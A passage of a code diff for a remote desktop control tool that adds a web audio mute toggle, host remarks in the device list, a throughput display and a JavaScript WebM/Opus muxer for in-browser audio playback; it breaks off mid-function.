res["audio_enabled"] = (audio_enabled != 0);
|
||||||
|
}
|
||||||
res["algorithm"] = "h264";
|
res["algorithm"] = "h264";
|
||||||
|
|
||||||
Json::StreamWriterBuilder builder;
|
Json::StreamWriterBuilder builder;
|
||||||
@@ -1002,6 +1009,33 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CWebService::HandleAudioToggle(void* ws_ptr, const std::string& token) {
|
||||||
|
std::string username, role;
|
||||||
|
if (!ValidateToken(token, username, role)) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "Invalid token"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t device_id = 0;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||||
|
auto it = m_Clients.find(ws_ptr);
|
||||||
|
if (it != m_Clients.end()) device_id = it->second.watch_device_id;
|
||||||
|
}
|
||||||
|
if (device_id == 0) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No device connected"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 投递到 ScreenSpyDlg 的 UI 线程;那边会调用 Enable/DisableAudio 并通过
|
||||||
|
// NotifyAudioState 把新状态广播给所有 watching 的 web 客户端
|
||||||
|
if (!m_pParentDlg || !m_pParentDlg->PostWebAudioToggle(device_id)) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No active screen session"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", true));
|
||||||
|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
// User Management Handlers
|
// User Management Handlers
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
@@ -1511,6 +1545,16 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
|
|||||||
CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
|
CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
|
||||||
device["name"] = AnsiToUtf8(name);
|
device["name"] = AnsiToUtf8(name);
|
||||||
|
|
||||||
|
// 用户在 MFC 端给这台主机起的备注(菜单"修改备注"写入 MAP_NOTE)
|
||||||
|
// 例如 hostname="A6" + remark="我的Windows" → web 显示"A6 (我的Windows)"
|
||||||
|
if (m_pParentDlg->m_ClientMap) {
|
||||||
|
CString remark = m_pParentDlg->m_ClientMap->GetClientMapData(
|
||||||
|
ctx->GetClientID(), MAP_NOTE);
|
||||||
|
if (!remark.IsEmpty()) {
|
||||||
|
device["remark"] = AnsiToUtf8(remark);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
CString ip = ctx->GetClientData(ONLINELIST_IP);
|
CString ip = ctx->GetClientData(ONLINELIST_IP);
|
||||||
device["ip"] = AnsiToUtf8(ip);
|
device["ip"] = AnsiToUtf8(ip);
|
||||||
|
|
||||||
@@ -1699,6 +1743,37 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CWebService::NotifyAudioState(uint64_t device_id, bool enabled) {
|
||||||
|
if (m_bStopping) return;
|
||||||
|
|
||||||
|
// 缓存最新状态,新加入的 web 客户端通过 connect_result 取到初值
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
|
||||||
|
auto it = m_DeviceCache.find(device_id);
|
||||||
|
if (it == m_DeviceCache.end()) {
|
||||||
|
m_DeviceCache[device_id] = std::make_shared<WebDeviceInfo>();
|
||||||
|
it = m_DeviceCache.find(device_id);
|
||||||
|
}
|
||||||
|
it->second->audio_enabled = enabled ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value res;
|
||||||
|
res["cmd"] = "audio_state";
|
||||||
|
res["id"] = device_id;
|
||||||
|
res["enabled"] = enabled;
|
||||||
|
|
||||||
|
Json::StreamWriterBuilder builder;
|
||||||
|
builder["indentation"] = "";
|
||||||
|
std::string json = Json::writeString(builder, res);
|
||||||
|
|
||||||
|
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||||
|
for (auto& [ws_ptr, client] : m_Clients) {
|
||||||
|
if (client.watch_device_id == device_id) {
|
||||||
|
SendText(ws_ptr, json);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
|
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
|
||||||
if (m_bStopping) return;
|
if (m_bStopping) return;
|
||||||
|
|
||||||
|
|||||||
@@ -55,6 +55,8 @@ struct WebDeviceInfo {
|
|||||||
int screen_width;
|
int screen_width;
|
||||||
int screen_height;
|
int screen_height;
|
||||||
bool online;
|
bool online;
|
||||||
|
// 当前会话的音频开关。-1=未知(客户端 BITMAPINFO 还没回来),0=关,1=开
|
||||||
|
int audio_enabled = -1;
|
||||||
|
|
||||||
// Keyframe cache for new web clients
|
// Keyframe cache for new web clients
|
||||||
std::vector<uint8_t> keyframe_cache;
|
std::vector<uint8_t> keyframe_cache;
|
||||||
@@ -98,6 +100,10 @@ public:
|
|||||||
// Resolution change notification
|
// Resolution change notification
|
||||||
void NotifyResolutionChange(uint64_t device_id, int width, int height);
|
void NotifyResolutionChange(uint64_t device_id, int width, int height);
|
||||||
|
|
||||||
|
// Audio enable/disable notification — pushes current state to all web
|
||||||
|
// clients watching this device and caches it for newcomers.
|
||||||
|
void NotifyAudioState(uint64_t device_id, bool enabled);
|
||||||
|
|
||||||
// Cursor change notification (called from ScreenSpyDlg)
|
// Cursor change notification (called from ScreenSpyDlg)
|
||||||
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
|
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
|
||||||
|
|
||||||
@@ -129,6 +135,7 @@ private:
|
|||||||
void HandleMouse(void* ws_ptr, const std::string& msg);
|
void HandleMouse(void* ws_ptr, const std::string& msg);
|
||||||
void HandleKey(void* ws_ptr, const std::string& msg);
|
void HandleKey(void* ws_ptr, const std::string& msg);
|
||||||
void HandleRdpReset(void* ws_ptr, const std::string& token);
|
void HandleRdpReset(void* ws_ptr, const std::string& token);
|
||||||
|
void HandleAudioToggle(void* ws_ptr, const std::string& token);
|
||||||
|
|
||||||
// Token management
|
// Token management
|
||||||
std::string GenerateToken(const std::string& username, const std::string& role);
|
std::string GenerateToken(const std::string& username, const std::string& role);
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ require (
|
|||||||
github.com/gorilla/websocket v1.5.3
|
github.com/gorilla/websocket v1.5.3
|
||||||
github.com/klauspost/compress v1.18.2
|
github.com/klauspost/compress v1.18.2
|
||||||
github.com/rs/zerolog v1.34.0
|
github.com/rs/zerolog v1.34.0
|
||||||
|
golang.org/x/sync v0.20.0
|
||||||
golang.org/x/text v0.32.0
|
golang.org/x/text v0.32.0
|
||||||
gopkg.in/natefinch/lumberjack.v2 v2.2.1
|
gopkg.in/natefinch/lumberjack.v2 v2.2.1
|
||||||
)
|
)
|
||||||
@@ -14,6 +15,5 @@ require (
|
|||||||
require (
|
require (
|
||||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||||
github.com/mattn/go-isatty v0.0.19 // indirect
|
github.com/mattn/go-isatty v0.0.19 // indirect
|
||||||
golang.org/x/sync v0.20.0 // indirect
|
|
||||||
golang.org/x/sys v0.12.0 // indirect
|
golang.org/x/sys v0.12.0 // indirect
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -51,6 +51,15 @@ func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
|
|||||||
h.handleConnect(c, raw)
|
h.handleConnect(c, raw)
|
||||||
case "rdp_reset":
|
case "rdp_reset":
|
||||||
h.handleRdpReset(c, raw)
|
h.handleRdpReset(c, raw)
|
||||||
|
case "audio_toggle":
|
||||||
|
// Audio capture/forwarding is not yet ported from the C++ WebService
|
||||||
|
// (see project_go_webservice_port). Reply explicitly so the front-end
|
||||||
|
// console shows why the toolbar button has no effect, instead of the
|
||||||
|
// request being silently dropped by the default case.
|
||||||
|
c.queue(mustJSON(map[string]any{
|
||||||
|
"cmd": "audio_toggle_result", "ok": false,
|
||||||
|
"msg": "Audio toggle not supported on Go server yet",
|
||||||
|
}))
|
||||||
case "mouse":
|
case "mouse":
|
||||||
h.handleMouse(c, raw)
|
h.handleMouse(c, raw)
|
||||||
case "key":
|
case "key":
|
||||||
|
|||||||
@@ -737,6 +737,7 @@
|
|||||||
.toolbar-btn-bar:hover { background: rgba(255,255,255,0.2); }
|
.toolbar-btn-bar:hover { background: rgba(255,255,255,0.2); }
|
||||||
.toolbar-btn-bar.active { background: rgba(52,199,89,0.8); }
|
.toolbar-btn-bar.active { background: rgba(52,199,89,0.8); }
|
||||||
.toolbar-btn-bar.active:hover { background: rgba(52,199,89,1); }
|
.toolbar-btn-bar.active:hover { background: rgba(52,199,89,1); }
|
||||||
|
.toolbar-btn-bar.muted { opacity: 0.55; }
|
||||||
.toolbar-btn-bar:disabled { opacity: 0.4; cursor: not-allowed; }
|
.toolbar-btn-bar:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||||
.toolbar-btn-bar:disabled:hover { background: rgba(255,255,255,0.1); }
|
.toolbar-btn-bar:disabled:hover { background: rgba(255,255,255,0.1); }
|
||||||
#screen-page:fullscreen .screen-toolbar { display: none; }
|
#screen-page:fullscreen .screen-toolbar { display: none; }
|
||||||
@@ -828,6 +829,17 @@
|
|||||||
.toolbar-btn:disabled { opacity: 0.3; cursor: not-allowed; }
|
.toolbar-btn:disabled { opacity: 0.3; cursor: not-allowed; }
|
||||||
.toolbar-btn:disabled:hover { background: transparent; }
|
.toolbar-btn:disabled:hover { background: transparent; }
|
||||||
.toolbar-btn:disabled:active { transform: none; }
|
.toolbar-btn:disabled:active { transform: none; }
|
||||||
|
/* Throughput read-out inside the floating toolbar (fullscreen mode).
|
||||||
|
Hidden automatically while empty so the toolbar collapses cleanly. */
|
||||||
|
.fb-stats {
|
||||||
|
color: rgba(255,255,255,0.9);
|
||||||
|
font-size: 12px;
|
||||||
|
padding: 0 10px 0 6px;
|
||||||
|
font-variant-numeric: tabular-nums;
|
||||||
|
white-space: nowrap;
|
||||||
|
user-select: none;
|
||||||
|
}
|
||||||
|
.fb-stats:empty { display: none; }
|
||||||
.toolbar-toggle {
|
.toolbar-toggle {
|
||||||
position: fixed;
|
position: fixed;
|
||||||
/* 同 .floating-toolbar:8px 基础 + 安全区 inset 避开刘海/灵动岛 */
|
/* 同 .floating-toolbar:8px 基础 + 安全区 inset 避开刘海/灵动岛 */
|
||||||
@@ -1174,6 +1186,7 @@
|
|||||||
<div class="toolbar-right">
|
<div class="toolbar-right">
|
||||||
<span id="screen-status" class="screen-status connecting">Connecting...</span>
|
<span id="screen-status" class="screen-status connecting">Connecting...</span>
|
||||||
<button class="toolbar-btn-bar" id="btn-rdp-reset-bar" onclick="sendRdpReset()" title="RDP Reset">↻</button>
|
<button class="toolbar-btn-bar" id="btn-rdp-reset-bar" onclick="sendRdpReset()" title="RDP Reset">↻</button>
|
||||||
|
<button class="toolbar-btn-bar" id="btn-audio-bar" onclick="toggleAudio()" title="Mute audio">🔊</button>
|
||||||
<button class="toolbar-btn-bar" id="btn-mouse-bar" onclick="toggleControl()" title="Mouse Control">🖱</button>
|
<button class="toolbar-btn-bar" id="btn-mouse-bar" onclick="toggleControl()" title="Mouse Control">🖱</button>
|
||||||
<button class="toolbar-btn-bar" id="btn-keyboard-bar" onclick="toggleKeyboard()" title="Keyboard" disabled>⌨</button>
|
<button class="toolbar-btn-bar" id="btn-keyboard-bar" onclick="toggleKeyboard()" title="Keyboard" disabled>⌨</button>
|
||||||
<button class="fullscreen-btn" onclick="toggleFullscreen()" title="Fullscreen (F11)">⛶</button>
|
<button class="fullscreen-btn" onclick="toggleFullscreen()" title="Fullscreen (F11)">⛶</button>
|
||||||
@@ -1203,10 +1216,12 @@
|
|||||||
<div class="touch-indicator" id="touch-indicator"></div>
|
<div class="touch-indicator" id="touch-indicator"></div>
|
||||||
<button class="toolbar-toggle" id="toolbar-toggle" onclick="toggleFloatingToolbar()">•••</button>
|
<button class="toolbar-toggle" id="toolbar-toggle" onclick="toggleFloatingToolbar()">•••</button>
|
||||||
<div class="floating-toolbar" id="floating-toolbar">
|
<div class="floating-toolbar" id="floating-toolbar">
|
||||||
|
<span class="fb-stats" id="fb-stats"></span>
|
||||||
<button class="toolbar-btn" onclick="sendRdpReset()" title="RDP Reset">↻</button>
|
<button class="toolbar-btn" onclick="sendRdpReset()" title="RDP Reset">↻</button>
|
||||||
<button class="toolbar-btn" id="btn-mouse" onclick="toggleControl()" title="Mouse Control">🖱</button>
|
<button class="toolbar-btn" id="btn-mouse" onclick="toggleControl()" title="Mouse Control">🖱</button>
|
||||||
<button class="toolbar-btn" id="btn-keyboard" onclick="toggleKeyboard()" title="Keyboard" disabled>⌨</button>
|
<button class="toolbar-btn" id="btn-keyboard" onclick="toggleKeyboard()" title="Keyboard" disabled>⌨</button>
|
||||||
<button class="toolbar-btn" onclick="disconnect()" title="Disconnect">✕</button>
|
<button class="toolbar-btn" onclick="disconnect()" title="Disconnect">✕</button>
|
||||||
|
<button class="toolbar-btn" onclick="toggleFloatingToolbar()" title="Collapse">▴</button>
|
||||||
</div>
|
</div>
|
||||||
<div class="zoom-indicator" id="zoom-indicator">100%</div>
|
<div class="zoom-indicator" id="zoom-indicator">100%</div>
|
||||||
<input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
|
<input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
|
||||||
@@ -1283,12 +1298,80 @@
|
|||||||
<script src="/static/xterm.js"></script>
|
<script src="/static/xterm.js"></script>
|
||||||
<script src="/static/xterm-fit.js"></script>
|
<script src="/static/xterm-fit.js"></script>
|
||||||
|
|
||||||
|
<!-- Opus codec for audio decompression -->
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/opus.js@0.5.0/dist/opus.js"></script>
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
let ws = null, token = null, decoder = null, devices = [], currentDevice = null;
|
let ws = null, token = null, decoder = null, devices = [], currentDevice = null;
|
||||||
let frameCount = 0, lastFrameTime = 0, fps = 0, pingInterval = null;
|
let frameCount = 0, lastFrameTime = 0, fps = 0, pingInterval = null;
|
||||||
|
// FPS 计数:原始风格——decoder.onOutput 里 ++,每经过 1 秒采样一次。
|
||||||
|
// 简单直接,与本次会话改动前一致。
|
||||||
|
// 网络流量统计:handleBinaryFrame 累加,每 1 秒钟 renderStats 读出
|
||||||
|
let bwBytesAccum = 0; // current-second byte accumulator
|
||||||
|
let bwBytesPerSec = 0; // last second's throughput (bytes/sec)
|
||||||
|
let currentWidth = 0, currentHeight = 0; // captured at frame decode time
|
||||||
const canvas = document.getElementById('screen-canvas');
|
const canvas = document.getElementById('screen-canvas');
|
||||||
const ctx = canvas.getContext('2d');
|
const ctx = canvas.getContext('2d');
|
||||||
|
|
||||||
|
// ====== Audio & Video Implementation ======
|
||||||
|
//
|
||||||
|
// - Video: H.264 / AV1 → VideoDecoder Web API → canvas
|
||||||
|
// - Audio: client encodes PCM → Opus, server forwards raw Opus packets
|
||||||
|
// to web, web wraps each packet in a WebM SimpleBlock and
|
||||||
|
// feeds it to MediaSource → <audio> element (browser decodes
|
||||||
|
// Opus natively, plays via standard media-element pipeline).
|
||||||
|
//
|
||||||
|
// WS binary frame layout (matches C++ ScreenSpyDlg.cpp):
|
||||||
|
// Video : [deviceID:4][frameType:1][dataLen:4][videoData:N]
|
||||||
|
// Audio : [deviceID:4][frameType=96:1][dataLen:4]
|
||||||
|
// [hasFormat:1][AudioFormat:12][padding:1]?[opusPacket:N]
|
||||||
|
// Term : [magic:4='TRM1'][terminalData:N]
|
||||||
|
//
|
||||||
|
// AudioFormat (12 bytes, commands.h, pack(1)):
|
||||||
|
// channels:2 sampleRate:4 bitsPerSample:2 blockAlign:2
|
||||||
|
// compression:1 (0=PCM unsupported by web, 1=Opus) reserved:1
|
||||||
|
|
||||||
|
// MSE + WebM/Opus playback. Raw Opus packets arrive over WS; we wrap
|
||||||
|
// each one in a minimal WebM container in JS and feed it to a
|
||||||
|
// SourceBuffer attached to a hidden <audio> element. The browser
|
||||||
|
// decodes Opus natively. Tested on desktop Chrome; mobile playback
|
||||||
|
// is a known follow-up (see commit notes).
|
||||||
|
let audioFormat = null; // { compression, channels, sampleRate, bitsPerSample, blockAlign }
|
||||||
|
let audioEnabled = true; // Audio on/off flag (set by UI)
|
||||||
|
let syncDrift = 0; // A/V sync monitoring (milliseconds)
|
||||||
|
let _audioElement = null; // hidden <audio> sink
|
||||||
|
let _mediaSource = null; // MediaSource attached to _audioElement
|
||||||
|
let _sourceBuffer = null; // SourceBuffer (Opus in WebM)
|
||||||
|
const _sourceBufferQueue = []; // appendBuffer queue (one in-flight at a time)
|
||||||
|
let _sourceBufferBusy = false;
|
||||||
|
let _initSegmentSent = false; // first init segment appended for current format
|
||||||
|
let _opusTimestampMs = 0; // running absolute cluster timestamp (ms)
|
||||||
|
const OPUS_FRAME_MS = 20; // 960 samples @ 48k — matches client encoder
|
||||||
|
const _pendingOpusPackets = []; // packets received before SourceBuffer is ready
|
||||||
|
|
||||||
|
// Browser autoplay policies require an HTMLAudioElement to be created
|
||||||
|
// and .play()'d synchronously inside a user-gesture event handler.
|
||||||
|
// We hook the first click/keydown to spin up the element + MediaSource.
|
||||||
|
// Subsequent activity (e.g. tab regaining focus) re-issues play().
|
||||||
|
function installAudioGestureUnlock() {
|
||||||
|
const onGesture = () => {
|
||||||
|
if (!_audioElement) {
|
||||||
|
try {
|
||||||
|
_setupAudioElementAndMediaSource();
|
||||||
|
console.log('[MSE] <audio> + MediaSource set up by gesture');
|
||||||
|
} catch (e) {
|
||||||
|
console.error('[MSE] setup failed:', e && e.message);
|
||||||
|
}
|
||||||
|
} else if (_audioElement.paused) {
|
||||||
|
_audioElement.play().catch(() => {});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
const opts = { passive: true, capture: true };
|
||||||
|
window.addEventListener('click', onGesture, opts);
|
||||||
|
window.addEventListener('keydown', onGesture, opts);
|
||||||
|
}
|
||||||
|
installAudioGestureUnlock();
|
||||||
|
|
||||||
// Pagination and filter state
|
// Pagination and filter state
|
||||||
let currentPage = 1;
|
let currentPage = 1;
|
||||||
let viewMode = 'grid'; // 'grid' or 'list'
|
let viewMode = 'grid'; // 'grid' or 'list'
|
||||||
@@ -1409,7 +1492,7 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); scheduleReconnect(); };
|
ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); stopAllAudio(); audioFormat = null; scheduleReconnect(); };
|
||||||
ws.onerror = (e) => console.error('WS error:', e);
|
ws.onerror = (e) => console.error('WS error:', e);
|
||||||
ws.onmessage = (event) => {
|
ws.onmessage = (event) => {
|
||||||
if (typeof event.data === 'string') handleSignaling(JSON.parse(event.data));
|
if (typeof event.data === 'string') handleSignaling(JSON.parse(event.data));
|
||||||
@@ -1486,11 +1569,22 @@
|
|||||||
// Wait for resolution_changed message
|
// Wait for resolution_changed message
|
||||||
updateScreenStatus('waiting', 'Waiting for video...');
|
updateScreenStatus('waiting', 'Waiting for video...');
|
||||||
}
|
}
|
||||||
|
// Audio state may or may not be cached yet on the server.
|
||||||
|
// If not, the audio_state event below will populate it.
|
||||||
|
if (typeof msg.audio_enabled === 'boolean') {
|
||||||
|
applyAudioState(msg.audio_enabled);
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
updateScreenStatus('error', msg.msg);
|
updateScreenStatus('error', msg.msg);
|
||||||
setTimeout(() => showPage('devices-page'), 2000);
|
setTimeout(() => showPage('devices-page'), 2000);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
case 'audio_state':
|
||||||
|
applyAudioState(!!msg.enabled);
|
||||||
|
break;
|
||||||
|
case 'audio_toggle_result':
|
||||||
|
if (!msg.ok) console.warn('[Audio] toggle failed:', msg.msg);
|
||||||
|
break;
|
||||||
case 'term_ready':
|
case 'term_ready':
|
||||||
termState.ready = true;
|
termState.ready = true;
|
||||||
document.getElementById('term-status-info').textContent =
|
document.getElementById('term-status-info').textContent =
|
||||||
@@ -1603,8 +1697,12 @@
|
|||||||
// Set up vertical flip transform once (BMP is bottom-up)
|
// Set up vertical flip transform once (BMP is bottom-up)
|
||||||
ctx.setTransform(1, 0, 0, -1, 0, height);
|
ctx.setTransform(1, 0, 0, -1, 0, height);
|
||||||
if (decoder) { try { decoder.close(); } catch(e) {} }
|
if (decoder) { try { decoder.close(); } catch(e) {} }
|
||||||
frameCount = 0;
|
// Reset FPS sliding window on decoder (re)init so a resolution
|
||||||
lastFrameTime = performance.now();
|
// change or codec switch doesn't carry over stale counts.
|
||||||
|
frameCount = 0; lastFrameTime = performance.now(); fps = 0;
|
||||||
|
// 记录当前分辨率供 renderStats 重组 frame-info 文案
|
||||||
|
currentWidth = width;
|
||||||
|
currentHeight = height;
|
||||||
decoder = new VideoDecoder({
|
decoder = new VideoDecoder({
|
||||||
output: (frame) => {
|
output: (frame) => {
|
||||||
// Check if frame dimensions match canvas
|
// Check if frame dimensions match canvas
|
||||||
@@ -1613,13 +1711,13 @@
|
|||||||
}
|
}
|
||||||
ctx.drawImage(frame, 0, 0);
|
ctx.drawImage(frame, 0, 0);
|
||||||
frame.close();
|
frame.close();
|
||||||
|
// 原始风格的 FPS 计数:1 秒采样窗口
|
||||||
frameCount++;
|
frameCount++;
|
||||||
const now = performance.now();
|
const now = performance.now();
|
||||||
if (now - lastFrameTime >= 1000) {
|
if (now - lastFrameTime >= 1000) {
|
||||||
fps = Math.round(frameCount * 1000 / (now - lastFrameTime));
|
fps = Math.round(frameCount * 1000 / (now - lastFrameTime));
|
||||||
frameCount = 0;
|
frameCount = 0;
|
||||||
lastFrameTime = now;
|
lastFrameTime = now;
|
||||||
document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
|
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
|
error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
|
||||||
@@ -1649,16 +1747,296 @@
|
|||||||
return videoBytes[0] === 0x00 ? 'avc' : 'av1';
|
return videoBytes[0] === 0x00 ? 'avc' : 'av1';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Minimal WebM-Opus muxer: wraps each Opus packet in a one-block
|
||||||
|
// Cluster so it can be fed to a SourceBuffer of type
|
||||||
|
// 'audio/webm; codecs="opus"'. The init segment (EBML header +
|
||||||
|
// Segment header + Tracks with OpusHead) is built once when the
|
||||||
|
// format is known and appended before any media clusters.
|
||||||
|
// ============================================================
|
||||||
|
const WebMMuxer = (function () {
|
||||||
|
// Variable-length integer (EBML VINT). Marker bit selects byte count.
|
||||||
|
function vint(value) {
|
||||||
|
if (value < 0x7F) return [0x80 | value];
|
||||||
|
if (value < 0x3FFF) return [0x40 | (value >> 8), value & 0xFF];
|
||||||
|
if (value < 0x1FFFFF) return [0x20 | (value >> 16), (value >> 8) & 0xFF, value & 0xFF];
|
||||||
|
if (value < 0x0FFFFFFF) return [0x10 | (value >> 24), (value >> 16) & 0xFF, (value >> 8) & 0xFF, value & 0xFF];
|
||||||
|
// 8-byte VINT for larger values (we don't usually need this)
|
||||||
|
const out = [0x01];
|
||||||
|
for (let i = 6; i >= 0; i--) out.push(Math.floor(value / Math.pow(2, i * 8)) & 0xFF);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
// Unsigned int big-endian, n bytes
|
||||||
|
function uintBE(value, n) {
|
||||||
|
const out = new Array(n);
|
||||||
|
for (let i = n - 1; i >= 0; i--) { out[i] = value & 0xFF; value = Math.floor(value / 256); }
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
// 64-bit float big-endian
|
||||||
|
function f64BE(value) {
|
||||||
|
const buf = new ArrayBuffer(8);
|
||||||
|
new DataView(buf).setFloat64(0, value, false);
|
||||||
|
return Array.from(new Uint8Array(buf));
|
||||||
|
}
|
||||||
|
// EBML element = ID + size(VINT) + payload
|
||||||
|
function elem(idBytes, payload) {
|
||||||
|
const sz = vint(payload.length);
|
||||||
|
const out = new Array(idBytes.length + sz.length + payload.length);
|
||||||
|
let i = 0;
|
||||||
|
for (const b of idBytes) out[i++] = b;
|
||||||
|
for (const b of sz) out[i++] = b;
|
||||||
|
for (const b of payload) out[i++] = b;
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
// OpusHead codec-private structure (19 bytes). Per WebM/Opus spec,
|
||||||
|
// the authoritative encoder delay is CodecDelay (in ns) in the
|
||||||
|
// TrackEntry; pre-skip here is left at 0 to avoid double-skipping.
|
||||||
|
function opusHead(sampleRate, channels) {
|
||||||
|
return [
|
||||||
|
0x4F, 0x70, 0x75, 0x73, 0x48, 0x65, 0x61, 0x64, // "OpusHead"
|
||||||
|
0x01, // version
|
||||||
|
channels & 0xFF, // channel count
|
||||||
|
0x00, 0x00, // pre-skip (use CodecDelay instead)
|
||||||
|
sampleRate & 0xFF, (sampleRate >> 8) & 0xFF,
|
||||||
|
(sampleRate >> 16) & 0xFF, (sampleRate >> 24) & 0xFF,
|
||||||
|
0x00, 0x00, // output gain (LE)
|
||||||
|
0x00 // channel mapping family
|
||||||
|
];
|
||||||
|
}
|
||||||
|
function buildInitSegment(sampleRate, channels) {
|
||||||
|
const ebml = elem([0x1A, 0x45, 0xDF, 0xA3], [].concat(
|
||||||
|
elem([0x42, 0x86], [0x01]), // EBMLVersion
|
||||||
|
elem([0x42, 0xF7], [0x01]), // EBMLReadVersion
|
||||||
|
elem([0x42, 0xF2], [0x04]), // EBMLMaxIDLength
|
||||||
|
elem([0x42, 0xF3], [0x08]), // EBMLMaxSizeLength
|
||||||
|
elem([0x42, 0x82], [0x77, 0x65, 0x62, 0x6D]), // DocType "webm"
|
||||||
|
elem([0x42, 0x87], [0x04]), // DocTypeVersion
|
||||||
|
elem([0x42, 0x85], [0x02]) // DocTypeReadVersion
|
||||||
|
));
|
||||||
|
const info = elem([0x15, 0x49, 0xA9, 0x66], [].concat(
|
||||||
|
elem([0x2A, 0xD7, 0xB1], uintBE(1000000, 3)), // TimecodeScale 1ms
|
||||||
|
elem([0x4D, 0x80], [0x59, 0x61, 0x6D, 0x61]), // MuxingApp "Yama"
|
||||||
|
elem([0x57, 0x41], [0x59, 0x61, 0x6D, 0x61]) // WritingApp "Yama"
|
||||||
|
));
|
||||||
|
const trackEntry = [].concat(
|
||||||
|
elem([0xD7], [0x01]), // TrackNumber 1
|
||||||
|
elem([0x73, 0xC5], uintBE(1, 1)), // TrackUID 1
|
||||||
|
elem([0x83], [0x02]), // TrackType 2 (audio)
|
||||||
|
elem([0xB9], [0x01]), // FlagEnabled
|
||||||
|
elem([0x88], [0x01]), // FlagDefault
|
||||||
|
elem([0x9C], [0x00]), // FlagLacing 0
|
||||||
|
elem([0x86], [0x41, 0x5F, 0x4F, 0x50, 0x55, 0x53]), // CodecID "A_OPUS"
|
||||||
|
elem([0x63, 0xA2], opusHead(sampleRate, channels)), // CodecPrivate
|
||||||
|
elem([0x56, 0xAA], uintBE(6500000, 3)), // CodecDelay 6.5ms (ns)
|
||||||
|
elem([0x56, 0xBB], uintBE(80000000, 4)), // SeekPreRoll 80ms (ns)
|
||||||
|
elem([0xE1], [].concat( // Audio
|
||||||
|
elem([0xB5], f64BE(sampleRate)), // SamplingFrequency
|
||||||
|
elem([0x9F], [channels & 0xFF]) // Channels
|
||||||
|
))
|
||||||
|
);
|
||||||
|
const tracks = elem([0x16, 0x54, 0xAE, 0x6B], elem([0xAE], trackEntry));
|
||||||
|
// Segment uses unknown-size signal so we can stream clusters indefinitely
|
||||||
|
const segmentOpen = [0x18, 0x53, 0x80, 0x67,
|
||||||
|
0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF];
|
||||||
|
return new Uint8Array([].concat(ebml, segmentOpen, info, tracks));
|
||||||
|
}
|
||||||
|
function buildCluster(opusBytes, absMs) {
|
||||||
|
const simpleBlock = elem([0xA3], [].concat(
|
||||||
|
[0x81, 0x00, 0x00, 0x80], // TrackNumber=1, ts=0, flags=keyframe
|
||||||
|
Array.from(opusBytes)
|
||||||
|
));
|
||||||
|
const cluster = elem([0x1F, 0x43, 0xB6, 0x75], [].concat(
|
||||||
|
elem([0xE7], uintBE(absMs, 4)), // Timestamp (absolute, ms)
|
||||||
|
simpleBlock
|
||||||
|
));
|
||||||
|
return new Uint8Array(cluster);
|
||||||
|
}
|
||||||
|
return { buildInitSegment, buildCluster };
|
||||||
|
})();
|
||||||
|
|
||||||
|
// Create the hidden <audio> + MediaSource pair INSIDE a user-gesture
|
||||||
|
// call stack. Must complete .play() synchronously before any await.
|
||||||
|
function _setupAudioElementAndMediaSource() {
|
||||||
|
_audioElement = document.createElement('audio');
|
||||||
|
_audioElement.autoplay = true;
|
||||||
|
_audioElement.volume = 1.0;
|
||||||
|
_audioElement.style.display = 'none';
|
